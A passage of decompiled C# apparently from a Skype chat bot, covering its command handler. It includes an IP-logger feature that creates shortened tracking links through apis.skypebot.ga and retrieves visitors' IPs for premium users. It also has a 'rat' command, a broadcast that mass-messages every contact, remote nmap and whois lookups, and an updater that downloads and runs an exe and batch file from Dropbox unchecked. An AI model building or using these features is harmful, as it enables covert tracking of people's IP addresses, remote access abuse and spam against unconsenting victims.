  3751.                             if (flag2)
  3752.                             {
  3753.                                 ChatMessage msg2 = closure$__.$VB$Local_msg.Chat.SendMessage("Stopping commands...");
  3754.                                 try
  3755.                                 {
  3756.                                     IEnumerator enumerator = Process.GetCurrentProcess().Threads.GetEnumerator();
  3757.                                     while (enumerator.MoveNext())
  3758.                                     {
  3759.                                         Thread thread = (Thread)enumerator.Current;
  3760.                                         thread.Abort();
  3761.                                     }
  3762.                                 }
  3763.                                 finally
  3764.                                 {
  3765.                                     IEnumerator enumerator;
  3766.                                     flag2 = (enumerator is IDisposable);
  3767.                                     if (flag2)
  3768.                                     {
  3769.                                         (enumerator as IDisposable).Dispose();
  3770.                                     }
  3771.                                 }
  3772.                                 this.AddSwagToMSG(msg2, "All commands should be stopped!", 0);
  3773.                             }
  3774.                             flag2 = (Operators.CompareString(text2, "resetgamedata", true) == 0);
  3775.                             if (flag2)
  3776.                             {
  3777.                                 ChatMessage msg3 = closure$__.$VB$Local_msg.Chat.SendMessage("Resetting...");
  3778.                                 MySettingsProperty.Settings.gamedat = "jezus|0|0;";
  3779.                                 this.AddSwagToMSG(msg3, "Resetted!", 0);
  3780.                             }
  3781.                             flag2 = (Operators.CompareString(text2, "broadcasthelp", true) == 0 | Operators.CompareString(text2, "broadcast help", true) == 0);
  3782.                             if (flag2)
  3783.                             {
  3784.                                 ChatMessage chatMessage = closure$__.$VB$Local_msg.Chat.SendMessage("...");
  3785.                                 chatMessage.Body = "------------------------------\r\n Just do !admin broadcast <yourmsg> and it'll send to all your contacts <yourmsg>\r\n<FullName> = Their full name\r\n<SkypeID> = Their SkypeName\r\n<FirstName> = Their first name\r\n------------------------------";
  3786.                                 return;
  3787.                             }
  3788.                             flag2 = text2.StartsWith("broadcast ");
  3789.                             if (flag2)
  3790.                             {
  3791.                                 ChatMessage chatMessage2 = closure$__.$VB$Local_msg.Chat.SendMessage("Broadcasting...");
  3792.                                 int num4 = 0;
  3793.                                 int num5 = 0;
  3794.                                 try
  3795.                                 {
  3796.                                     IEnumerator enumerator2 = this.Skypattach.Friends.GetEnumerator();
  3797.                                     while (enumerator2.MoveNext())
  3798.                                     {
  3799.                                         User user = (User)enumerator2.Current;
  3800.                                         try
  3801.                                         {
  3802.                                             num4++;
  3803.                                             chatMessage2.Body = "Sending message " + Conversions.ToString(num4) + "/" + Conversions.ToString(this.Skypattach.Friends.Count - num5);
  3804.                                             string[] array2 = this.Skypattach.get_User(user.Handle).FullName.Split(new char[]
  3805.                                             {
  3806.                                                 ' '
  3807.                                             });
  3808.                                             this.Skypattach.SendMessage(user.Handle, closure$__.$VB$Local_msg.Body.Replace("!admin broadcast ", "").Replace("<FullName>", this.Skypattach.get_User(user.Handle).FullName).Replace("<SkypeID>", user.Handle).Replace("<FirstName>", array2[0]));
  3809.                                         }
  3810.                                         catch (Exception expr_540)
  3811.                                         {
  3812.                                             ProjectData.SetProjectError(expr_540);
  3813.                                             num5++;
  3814.                                             num4--;
  3815.                                             ProjectData.ClearProjectError();
  3816.                                         }
  3817.                                     }
  3818.                                 }
  3819.                                 finally
  3820.                                 {
  3821.                                     IEnumerator enumerator2;
  3822.                                     flag2 = (enumerator2 is IDisposable);
  3823.                                     if (flag2)
  3824.                                     {
  3825.                                         (enumerator2 as IDisposable).Dispose();
  3826.                                     }
  3827.                                 }
  3828.                                 this.AddSwagToMSG(chatMessage2, "Messages sent!", 0);
  3829.                             }
  3830.                             flag2 = (Operators.CompareString(text2, "debug", true) == 0);
  3831.                             unchecked
  3832.                             {
  3833.                                 if (flag2)
  3834.                                 {
  3835.                                     ChatMessage msg4 = closure$__.$VB$Local_msg.Chat.SendMessage("Gathering info...");
  3836.                                     string text3 = "SkypeVersion: " + this.Skypattach.Version;
  3837.                                     flag2 = (this.swag == Conversions.ToBoolean("0") | !(-(this.swag > false)));
  3838.                                     string text4;
  3839.                                     if (flag2)
  3840.                                     {
  3841.                                         text4 = "Swag: Off";
  3842.                                     }
  3843.                                     else
  3844.                                     {
  3845.                                         text4 = "Swag: On";
  3846.                                     }
  3847.                                     flag2 = (this.adminst == Conversions.ToBoolean("0") | !(-(this.adminst > false)));
  3848.                                     string text5;
  3849.                                     if (flag2)
  3850.                                     {
  3851.                                         text5 = "On/Off: Off";
  3852.                                     }
  3853.                                     else
  3854.                                     {
  3855.                                         text5 = "On/Off: On";
  3856.                                     }
  3857.                                     string text6 = "";
  3858.                                     flag2 = (this.lockst == 0 | (double)this.lockst == Conversions.ToDouble("0"));
  3859.                                     if (flag2)
  3860.                                     {
  3861.                                         text6 = "Lockdown: False";
  3862.                                     }
  3863.                                     else
  3864.                                     {
  3865.                                         text5 = "Lockdown: True";
  3866.                                     }
  3867.                                     this.AddSwagToMSG(msg4, string.Concat(new string[]
  3868.                                     {
  3869.                                         this.Skypattach.CurrentUserHandle,
  3870.                                         "\r\n",
  3871.                                         text3,
  3872.                                         "\r\nBotVersion: 5.1.0.7\r\n",
  3873.                                         text5,
  3874.                                         "\r\n",
  3875.                                         text4,
  3876.                                         "\r\n",
  3877.                                         text6,
  3878.                                         "\r\nDebugOS: ",
  3879.                                         Conversions.ToString(SystemInformation.DebugOS),
  3880.                                         "\r\nComputername: ",
  3881.                                         SystemInformation.ComputerName,
  3882.                                         "\r\nRealOS: ",
  3883.                                         MyProject.Computer.Info.OSFullName,
  3884.                                         " Is64Bit: ",
  3885.                                         Conversions.ToString(Environment.Is64BitOperatingSystem),
  3886.                                         "\r\nRam: ",
  3887.                                         Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory),
  3888.                                         ";",
  3889.                                         Conversions.ToString(MyProject.Computer.Info.TotalVirtualMemory),
  3890.                                         "\r\nExec folder: ",
  3891.                                         Application.ExecutablePath
  3892.                                     }), 0);
  3893.                                 }
  3894.                                 flag2 = (Operators.CompareString(text2, "defcmds", true) == 0);
  3895.                                 if (flag2)
  3896.                                 {
  3897.                                     ChatMessage msg5 = closure$__.$VB$Local_msg.Chat.SendMessage("Intializing...");
  3898.                                     this.AddSwagToMSG(msg5, new WebClient
  3899.                                     {
  3900.                                         Proxy = null
  3901.                                     }.DownloadString("https://www.dropbox.com/s/waa71m79h76g0ma/allcmds.txt?dl=1"), 0);
  3902.                                     return;
  3903.                                 }
  3904.                                 flag2 = (Operators.CompareString(text2, "changelog", true) == 0);
  3905.                                 if (flag2)
  3906.                                 {
  3907.                                     string left = new WebClient
  3908.                                     {
  3909.                                         Proxy = null
  3910.                                     }.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
  3911.                                     flag2 = (Operators.CompareString(left, "5.1.0.7", true) == 0);
  3912.                                     if (flag2)
  3913.                                     {
  3914.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Please goto: https://www.dropbox.com/s/by2ovqnx8q45fcq/WhatsNew.txt?dl=0 the changelog became to big :3");
  3915.                                     }
  3916.                                     else
  3917.                                     {
  3918.                                         closure$__.$VB$Local_msg.Chat.SendMessage("You are not on the latest version, please update...");
  3919.                                     }
  3920.                                 }
  3921.                                 flag2 = text2.StartsWith("ban ");
  3922.                                 if (flag2)
  3923.                                 {
  3924.                                     MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist + "\r\n" + text2.Replace("ban ", "");
  3925.                                     ChatMessage msg6 = closure$__.$VB$Local_msg.Chat.SendMessage("Banning...");
  3926.                                     this.AddSwagToMSG(msg6, "The ban hammer has been spoken!", 0);
  3927.                                     return;
  3928.                                 }
  3929.                                 flag2 = text2.StartsWith("unban ");
  3930.                                 if (flag2)
  3931.                                 {
  3932.                                     string text7 = text2.Replace("unban ", "");
  3933.                                     MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist.Replace("\r\n" + text7, "").Replace(text7, "");
  3934.                                     ChatMessage msg7 = closure$__.$VB$Local_msg.Chat.SendMessage("Unbanning...");
  3935.                                     this.AddSwagToMSG(msg7, "Unbanned!", 0);
  3936.                                     return;
  3937.                                 }
  3938.                                 flag2 = text2.StartsWith("suggest ");
  3939.                                 if (flag2)
  3940.                                 {
  3941.                                     ChatMessage msg8 = closure$__.$VB$Local_msg.Chat.SendMessage("Suggesting...");
  3942.                                     new WebClient
  3943.                                     {
  3944.                                         Proxy = null
  3945.                                     }.DownloadString(string.Concat(new string[]
  3946.                                     {
  3947.                                         "http://apis.skypebot.ga/apis/submit.php?idea=",
  3948.                                         text2.Replace("suggest ", ""),
  3949.                                         "&skp=",
  3950.                                         closure$__.$VB$Local_msg.Sender.Handle,
  3951.                                         " w/skypebot o/ ",
  3952.                                         this.Skypattach.CurrentUserHandle,
  3953.                                         "&auth=True"
  3954.                                     }));
  3955.                                     this.AddSwagToMSG(msg8, "We will maybe contact you later, thanks!", 0);
  3956.                                 }
  3957.                                 flag2 = (Operators.CompareString(text2, "restart", true) == 0);
  3958.                                 if (flag2)
  3959.                                 {
  3960.                                     ChatMessage msg9 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
  3961.                                     this.AddSwagToMSG(msg9, "Restarting...", 0);
  3962.                                     MySettingsProperty.Settings.Save();
  3963.                                     Application.Restart();
  3964.                                 }
  3965.                                 flag2 = (Operators.CompareString(text2, "banlist", true) == 0);
  3966.                                 if (flag2)
  3967.                                 {
  3968.                                     closure$__.$VB$Local_msg.Chat.SendMessage("Banned users:\r\n" + MySettingsProperty.Settings.banlist);
  3969.                                     return;
  3970.                                 }
  3971.                                 flag2 = (Operators.CompareString(text2, "getchatname", true) == 0);
  3972.                                 if (flag2)
  3973.                                 {
  3974.                                     ChatMessage msg10 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
  3975.                                     this.AddSwagToMSG(msg10, closure$__.$VB$Local_msg.ChatName, 0);
  3976.                                 }
  3977.                                 flag2 = text2.StartsWith("ipwhitelist ");
  3978.                                 if (flag2)
  3979.                                 {
  3980.                                     ChatMessage msg11 = closure$__.$VB$Local_msg.Chat.SendMessage("Whitelisting...");
  3981.                                     text2 = text2.Replace(" ", "").Replace("ipwhitelist ", "");
  3982.                                     this.TextBox7.Text = this.TextBox7.Text + "\r\n" + text2;
  3983.                                     MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
  3984.                                     this.AddSwagToMSG(msg11, "Added to whitelist!", 0);
  3985.                                 }
  3986.                                 flag2 = text2.StartsWith("ipwhitelistrem ");
  3987.                                 if (flag2)
  3988.                                 {
  3989.                                     ChatMessage msg12 = closure$__.$VB$Local_msg.Chat.SendMessage("Unwhitelisting...");
  3990.                                     text2 = text2.Replace(" ", "").Replace("ipwhitelistrem ", "");
  3991.                                     this.TextBox7.Text = this.TextBox7.Text.Replace("\r\n" + text2, "").Replace(text2, "");
  3992.                                     MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
  3993.                                     this.AddSwagToMSG(msg12, "Removed from whitelist!", 0);
  3994.                                 }
  3995.                                 flag2 = text2.StartsWith("sudo ");
  3996.                                 if (flag2)
  3997.                                 {
  3998.                                     closure$__.$VB$Local_msg.Chat.SendMessage(text.Replace("admin sudo ", ""));
  3999.                                 }
  4000.                                 flag2 = (Operators.CompareString(text2, "lockdown", true) == 0);
  4001.                                 if (flag2)
  4002.                                 {
  4003.                                     ChatMessage msg13 = closure$__.$VB$Local_msg.Chat.SendMessage("Toggeling...");
  4004.                                     flag2 = (this.lockst == 0);
  4005.                                     if (flag2)
  4006.                                     {
  4007.                                         this.lockst = 1;
  4008.                                         this.AddSwagToMSG(msg13, "Lockdown enabled!", 0);
  4009.                                     }
  4010.                                     else
  4011.                                     {
  4012.                                         this.lockst = 0;
  4013.                                         this.AddSwagToMSG(msg13, "Lockdown disabled!", 0);
  4014.                                     }
  4015.                                 }
  4016.                                 flag2 = (Operators.CompareString(text2, "check4update", true) == 0);
  4017.                                 if (flag2)
  4018.                                 {
  4019.                                     ChatMessage msg14 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking for update...");
  4020.                                     string text8 = new WebClient
  4021.                                     {
  4022.                                         Proxy = null
  4023.                                     }.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
  4024.                                     flag2 = (Operators.CompareString(text8, "5.1.0.7", true) == 0);
  4025.                                     if (flag2)
  4026.                                     {
  4027.                                         closure$__.$VB$Local_msg.Chat.SendMessage("No new update found");
  4028.                                     }
  4029.                                     this.AddSwagToMSG(msg14, "This version: 5.1.0.7\r\nLatest version: " + text8 + "\r\nType !admin update to force update!", 0);
  4030.                                 }
  4031.                                 flag2 = (Operators.CompareString(text2, "update", true) == 0);
  4032.                                 if (flag2)
  4033.                                 {
  4034.                                     flag = (Operators.CompareString(this.Skypattach.CurrentUserHandle, "les.de", true) == 0);
  4035.                                     if (flag)
  4036.                                     {
  4037.                                         return;
  4038.                                     }
  4039.                                     ChatMessage msg15 = closure$__.$VB$Local_msg.Chat.SendMessage("Updating...");
  4040.                                     WebClient webClient = new WebClient();
  4041.                                     webClient.Proxy = null;
  4042.                                     this.AddSwagToMSG(msg15, "Updating... Please wait!", 0);
  4043.                                     webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
  4044.                                     webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
  4045.                                     Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
  4046.                                     Application.Exit();
  4047.                                 }
  4048.                                 flag2 = (Operators.CompareString(text2, "disable", true) == 0);
  4049.                                 if (flag2)
  4050.                                 {
  4051.                                     ChatMessage msg16 = closure$__.$VB$Local_msg.Chat.SendMessage("Disabling...");
  4052.                                     this.adminst = false;
  4053.                                     this.CheckBox6.Checked = false;
  4054.                                     Application.DoEvents();
  4055.                                     this.AddSwagToMSG(msg16, "Bot disabled!", 0);
  4056.                                     return;
  4057.                                 }
  4058.                                 flag2 = (Operators.CompareString(text2, "enable", true) == 0);
  4059.                                 if (flag2)
  4060.                                 {
  4061.                                     ChatMessage msg17 = closure$__.$VB$Local_msg.Chat.SendMessage("Enabling...");
  4062.                                     flag2 = (!(-(this.adminst > false)) | this.adminst == Conversions.ToBoolean("0"));
  4063.                                     if (flag2)
  4064.                                     {
  4065.                                         this.AddSwagToMSG(msg17, "Bot enabled!", 0);
  4066.                                         this.CheckBox6.Checked = true;
  4067.                                         Application.DoEvents();
  4068.                                         return;
  4069.                                     }
  4070.                                     this.AddSwagToMSG(closure$__.$VB$Local_msg, "Bot is already enabled!", 0);
  4071.                                 }
  4072.                             }
  4073.                         }
  4074.                         flag2 = !unchecked(-(this.adminst > false));
  4075.                         if (!flag2)
  4076.                         {
  4077.                             this.ListBox1.Items.Add(closure$__.$VB$Local_msg.Sender.Handle + " ran command " + closure$__.$VB$Local_msg.Body);
  4078.                             flag2 = Operators.ConditionalCompareObjectEqual(this.banned(closure$__.$VB$Local_msg.Sender.Handle), true, true);
  4079.                             if (flag2)
  4080.                             {
  4081.                                 closure$__.$VB$Local_msg.Chat.SendMessage(this.banmsg);
  4082.                             }
  4083.                             else
  4084.                             {
  4085.                                 flag2 = (Operators.CompareString(text, "help", true) == 0);
  4086.                                 if (flag2)
  4087.                                 {
  4088.                                     closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.helpmsg);
  4089.                                 }
  4090.                                 flag2 = text.StartsWith("help ");
  4091.                                 if (flag2)
  4092.                                 {
  4093.                                     string[] array3 = text.Replace("help ", "").Split(new char[]
  4094.                                     {
  4095.                                         ' '
  4096.                                     });
  4097.                                     text = array3[0];
  4098.                                 }
  4099.                                 flag2 = (Operators.CompareString(text, "8ball", true) == 0);
  4100.                                 if (flag2)
  4101.                                 {
  4102.                                     closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "8ball <yesnoquestion>");
  4103.                                 }
  4104.                                 flag2 = text.StartsWith("8ball ");
  4105.                                 if (flag2)
  4106.                                 {
  4107.                                     ChatMessage msg18 = closure$__.$VB$Local_msg.Chat.SendMessage("Rollin'...");
  4108.                                     string message = "";
  4109.                                     while (true)
  4110.                                     {
  4111.                                         VBMath.Randomize();
  4112.                                         string[] array4 = new string[]
  4113.                                         {
  4114.                                             "Ofcourse!",
  4115.                                             "Hell no!",
  4116.                                             "Signs point to yes.",
  4117.                                             "Yes.",
  4118.                                             "Reply hazy, try again.",
  4119.                                             "No?",
  4120.                                             "Without a doubt.",
  4121.                                             "My sources say no.",
  4122.                                             "As I see it, yes.",
  4123.                                             "You may rely on it.",
  4124.                                             "NEVERRR!",
  4125.                                             "Totally not.",
  4126.                                             "It was always like that!",
  4127.                                             "Concentrate and ask again.",
  4128.                                             "Outlook not so good.",
  4129.                                             "What about no!",
  4130.                                             "It is decidedly so.",
  4131.                                             "Better not tell you now.",
  4132.                                             "Very doubtful.",
  4133.                                             "Nope.",
  4134.                                             "Yes - definitely.",
  4135.                                             "You know yourself the answer is NO!",
  4136.                                             "It is certain.",
  4137.                                             "Cannot predict now.",
  4138.                                             "Why did you think that?",
  4139.                                             "Most likely.",
  4140.                                             "Ask again later.",
  4141.                                             "At this moment? No!",
  4142.                                             "My reply is no.",
  4143.                                             "Outlook good.",
  4144.                                             "Don't count on it.",
  4145.                                             "Yes, in due time.",
  4146.                                             "My sources say no.",
  4147.                                             "Definitely not.",
  4148.                                             "You will have to wait.",
  4149.                                             "I have my doubts.",
  4150.                                             "Outlook so so.",
  4151.                                             "Looks good to me!",
  4152.                                             "Who knows?",
  4153.                                             "Looking good!",
  4154.                                             "Probably.",
  4155.                                             "Are you kidding?",
  4156.                                             "Go for it!",
  4157.                                             "Don't bet on it.",
  4158.                                             "Forget about it."
  4159.                                         };
  4160.                                         int num6 = (int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * (float)array4.Count<string>() - 1f)));
  4161.                                         try
  4162.                                         {
  4163.                                             message = array4[num6];
  4164.                                         }
  4165.                                         catch (Exception expr_143D)
  4166.                                         {
  4167.                                             ProjectData.SetProjectError(expr_143D);
  4168.                                             ProjectData.ClearProjectError();
  4169.                                             continue;
  4170.                                         }
  4171.                                         break;
  4172.                                     }
  4173.                                     this.AddSwagToMSG(msg18, message, 0);
  4174.                                 }
  4175.                                 flag2 = text.StartsWith("buy");
  4176.                                 if (flag2)
  4177.                                 {
  4178.                                     closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.buy);
  4179.                                 }
  4180.                                 else
  4181.                                 {
  4182.                                     flag2 = (Operators.CompareString(text, "lmgtfy", true) == 0);
  4183.                                     if (flag2)
  4184.                                     {
  4185.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "lmgtfy <text>");
  4186.                                     }
  4187.                                     flag2 = text.StartsWith("lmgtfy ");
  4188.                                     if (flag2)
  4189.                                     {
  4190.                                         ChatMessage msg19 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4191.                                         this.AddSwagToMSG(msg19, Conversions.ToString(this.shorten("lmgtfy.com/?q=" + text.Replace("lmgtfy ", ""))), 0);
  4192.                                     }
  4193.                                     flag2 = (Operators.CompareString(text, "shorten", true) == 0);
  4194.                                     if (flag2)
  4195.                                     {
  4196.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "shorten <url>");
  4197.                                     }
  4198.                                     flag2 = text.StartsWith("shorten ");
  4199.                                     if (flag2)
  4200.                                     {
  4201.                                         ChatMessage msg20 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4202.                                         this.AddSwagToMSG(msg20, Conversions.ToString(this.shorten(text.Replace("shorten ", ""))), 0);
  4203.                                     }
  4204.                                     flag2 = (Operators.CompareString(text, "whois", true) == 0);
  4205.                                     if (flag2)
  4206.                                     {
  4207.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "whois <url>");
  4208.                                     }
  4209.                                     flag2 = text.StartsWith("whois ");
  4210.                                     if (flag2)
  4211.                                     {
  4212.                                         ChatMessage msg21 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4213.                                         this.AddSwagToMSG(msg21, Conversions.ToString(this.paste(new WebClient
  4214.                                         {
  4215.                                             Proxy = null
  4216.                                         }.DownloadString("http://api.hackertarget.com/whois/?q=" + text.Replace("whois ", "").Replace("http://", "").Replace("https://", "").Replace("www.", "").Replace("/", "")), "Untitled")), 0);
  4217.                                     }
  4218.                                     flag2 = (Operators.CompareString(text, "nmap", true) == 0);
  4219.                                     if (flag2)
  4220.                                     {
  4221.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "nmap <ip>");
  4222.                                     }
  4223.                                     flag2 = text.StartsWith("nmap ");
  4224.                                     if (flag2)
  4225.                                     {
  4226.                                         ChatMessage msg22 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4227.                                         this.AddSwagToMSG(msg22, Conversions.ToString(this.paste(new WebClient
  4228.                                         {
  4229.                                             Proxy = null
  4230.                                         }.DownloadString("http://api.hackertarget.com/nmap/?q=" + text.Replace("nmap ", "").Replace("http://", "").Replace("https://", "").Replace("www.", "").Replace("/", "")), "Untitled")), 0);
  4231.                                     }
  4232.                                     flag2 = (Operators.CompareString(text, "troll", true) == 0);
  4233.                                     if (flag2)
  4234.                                     {
  4235.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "troll <somename>");
  4236.                                     }
  4237.                                     flag2 = text.StartsWith("troll ");
  4238.                                     if (flag2)
  4239.                                     {
  4240.                                         ChatMessage msg23 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4241.                                         this.AddSwagToMSG(msg23, Conversions.ToString(this.shorten("http://www.megalook.ru/schild.swf?namee=" + text.Replace("troll ", ""))), 0);
  4242.                                     }
  4243.                                     flag2 = (Operators.CompareString(text, "iplog", true) == 0);
  4244.                                     if (flag2)
  4245.                                     {
  4246.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "iplog <help/parameters>");
  4247.                                     }
  4248.                                     flag2 = text.StartsWith("iplog ");
  4249.                                     if (flag2)
  4250.                                     {
  4251.                                         string handle = closure$__.$VB$Local_msg.Sender.Handle;
  4252.                                         flag2 = Conversions.ToBoolean(this.IsPremium(handle));
  4253.                                         if (!flag2)
  4254.                                         {
  4255.                                             closure$__.$VB$Local_msg.Chat.SendMessage("This command is for premium or higher only, I'm sorry!");
  4256.                                             return;
  4257.                                         }
  4258.                                         string text9 = text.Replace("iplog ", "");
  4259.                                         flag2 = (Operators.CompareString(text9, "help", true) == 0);
  4260.                                         if (flag2)
  4261.                                         {
  4262.                                             string messageText = "----------IPLOG PANEL----------\r\n!iplog clearlogs -- Clears the IPLogs\r\n!iplog create -- How to create an iplogger\r\n!iplog getlink -- Gets your iplogger link\r\n!iplog getlogs -- Gets the ip logs for you.\r\n!iplog help -- Shows This Menu.\r\n----------IPLOG PANEL----------";
  4263.                                             closure$__.$VB$Local_msg.Chat.SendMessage(messageText);
  4264.                                             return;
  4265.                                         }
  4266.                                         ChatMessage chatMessage3 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  4267.                                         WebClient webClient2 = new WebClient();
  4268.                                         webClient2.Proxy = null;
  4269.                                         flag2 = text9.StartsWith("create");
  4270.                                         if (flag2)
  4271.                                         {
  4272.                                             flag = (Operators.CompareString(text9, "create", true) == 0);
  4273.                                             if (flag)
  4274.                                             {
  4275.                                                 this.AddSwagToMSG(chatMessage3, "Right Syntax: " + this.trigger + "iplog create <redirecting site>", 0);
  4276.                                             }
  4277.                                             flag2 = text9.StartsWith("create ");
  4278.                                             if (flag2)
  4279.                                             {
  4280.                                                 string text10 = text9.Replace("create ", "");
  4281.                                                 flag2 = text10.StartsWith("http");
  4282.                                                 if (!flag2)
  4283.                                                 {
  4284.                                                     text10 = "http://" + text10;
  4285.                                                 }
  4286.                                                 chatMessage3.Body = "Creating new IPLogger...";
  4287.                                                 chatMessage3.Body = "Your IPLogger sites are:";
  4288.                                                 chatMessage3.Body += "\r\nCreating...";
  4289.                                                 string text11 = webClient2.DownloadString(string.Concat(new string[]
  4290.                                                 {
  4291.                                                     "http://apis.skypebot.ga/apis/newiplog.php?skype=",
  4292.                                                     handle,
  4293.                                                     "&url=",
  4294.                                                     text10,
  4295.                                                     "&auth=True"
  4296.                                                 }));
  4297.                                                 string text12 = "http://apis.skypebot.ga/apis/?skp=" + handle + "&act=True";
  4298.                                                 chatMessage3.Body = "Your IPLogger sites are:\r\n" + text12 + "\r\nCreating...\r\nCreating...\r\nFeel free to use any shortener on these uris!";
  4299.                                                 string text13 = Conversions.ToString(this.shorten(text12));
  4300.                                                 chatMessage3.Body = string.Concat(new string[]
  4301.                                                 {
  4302.                                                     "Your IPLogger sites are:\r\n",
  4303.                                                     text12,
  4304.                                                     "\r\n",
  4305.                                                     text13,
  4306.                                                     "\r\nCreating...\r\nFeel free to use any shortener on these uris!"
  4307.                                                 });
  4308.                                                 chatMessage3.Body = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("Your IPLogger sites are:\r\n" + text12 + "\r\n" + text13, this.paste2(text12)), "\r\n"), "Feel free to use any shortener on these uris!"));
  4309.                                             }
  4310.                                             return;
  4311.                                         }
  4312.                                         flag2 = (Operators.CompareString(text9, "getlink", true) == 0);
  4313.                                         if (flag2)
  4314.                                         {
  4315.                                             chatMessage3.Body = "Creating new IPLogger...";
  4316.                                             chatMessage3.Body = "Your IPLogger sites are:";
  4317.                                             chatMessage3.Body += "\r\nReceiving...";
  4318.                                             Thread.Sleep(Conversions.ToInteger("1000"));
  4319.                                             string text14 = "http://apis.skypebot.ga/apis/?skp=" + handle + "&act=True";
  4320.                                             chatMessage3.Body = "Your IPLogger sites are:\r\n" + text14 + "\r\nReceiving...\r\nFeel free to use any shortener on these uris!";
  4321.                                             chatMessage3.Body = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("Your IPLogger sites are:\r\n" + text14 + "\r\n", this.shorten(text14)), "\r\n"), "Feel free to use any shortener on these uris!"));
  4322.                                             return;
  4323.                                         }
  4324.                                         flag2 = (Operators.CompareString(text9, "getlogs", true) == 0);
  4325.                                         if (flag2)
  4326.                                         {
  4327.                                             this.AddSwagToMSG(chatMessage3, "Receiving...", 0);
  4328.                                             string text15 = webClient2.DownloadString("http://apis.skypebot.ga/apis/getips.php?skype=" + handle + "&auth=True").Replace("<br>", "\r\n");
  4329.                                             string[] array5 = text15.Split(new char[]
  4330.                                             {
  4331.                                                 '\r'
  4332.                                             });
  4333.                                             string text16 = "";
  4334.                                             int arg_1CCA_0 = 0;
  4335.                                             int num7 = array5.Length - 1;
  4336.                                             int num8 = arg_1CCA_0;
  4337.                                             while (true)
  4338.                                             {
  4339.                                                 int arg_1D47_0 = num8;
  4340.                                                 int num3 = num7;
  4341.                                                 if (arg_1D47_0 > num3)
  4342.                                                 {
  4343.                                                     break;
  4344.                                                 }
  4345.                                                 array5[num8] = array5[num8].Replace("|", " Time: ").Replace("&", "IP: ").Replace("\r\n", "").Replace("\r\n", "");
  4346.                                                 text16 += array5[num8].Replace("\r\n", "");
  4347.                                                 num8++;
  4348.                                             }
  4349.                                             flag2 = !text16.Contains("IP: ");
  4350.                                             if (flag2)
  4351.                                             {
  4352.                                                 text16 = "No available logs!";
  4353.                                             }
  4354.                                             chatMessage3.Body = text16;
  4355.                                             return;
  4356.                                         }
  4357.                                         flag2 = (Operators.CompareString(text9, "clearlogs", true) == 0);
  4358.                                         if (flag2)
  4359.                                         {
  4360.                                             this.AddSwagToMSG(chatMessage3, "Clearing logs...", 0);
  4361.                                             webClient2.DownloadString("http://apis.skypebot.ga/apis/clearlog.php?skype=" + handle + "&auth=True");
  4362.                                             this.AddSwagToMSG(chatMessage3, "Cleared!", 0);
  4363.                                             return;
  4364.                                         }
  4365.                                         chatMessage3.Body = "";
  4366.                                     }
  4367.                                     flag2 = (Operators.CompareString(text, "rat", true) == 0);
  4368.                                     if (flag2)
  4369.                                     {
  4370.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "rat <help/parameters>");
  4371.                                     }
  4372.                                     flag2 = text.StartsWith("rat ");
  4373.                                     if (flag2)
  4374.                                     {
  4375.                                         string arguments = text.Remove(0, 4);
  4376.                                         flag2 = text.StartsWith("rat help");
  4377.                                         if (flag2)
  4378.                                         {
  4379.                                             closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.rathelp);
  4380.                                             return;
  4381.                                         }
  4382.                                         flag2 = text.StartsWith("rat tos");
  4383.                                         if (flag2)
  4384.                                         {
  4385.                                             closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.rattos);
  4386.                                             return;
  4387.                                         }
  4388.                                         ChatMessage msg24 = closure$__.$VB$Local_msg.Chat.SendMessage("Ratting...");
  4389.                                         this.AddSwagToMSG(msg24, Conversions.ToString(this.Rat(arguments, closure$__.$VB$Local_msg.Sender.Handle)), 0);
  4390.                                     }
  4391.                                     flag2 = (Operators.CompareString(text, "notepad", true) == 0);
  4392.                                     if (flag2)
  4393.                                     {
  4394.                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "notepad <help/parameters>");
  4395.                                     }
  4396.                                     flag2 = text.StartsWith("notepad ");
  4397.                                     if (flag2)
  4398.                                     {
  4399.                                         string handle2 = closure$__.$VB$Local_msg.Sender.Handle;
  4400.                                         string text17 = text.Replace("notepad ", "");
  4401.                                         flag2 = (Operators.CompareString(text17, "help", true) == 0);
  4402.                                         if (flag2)
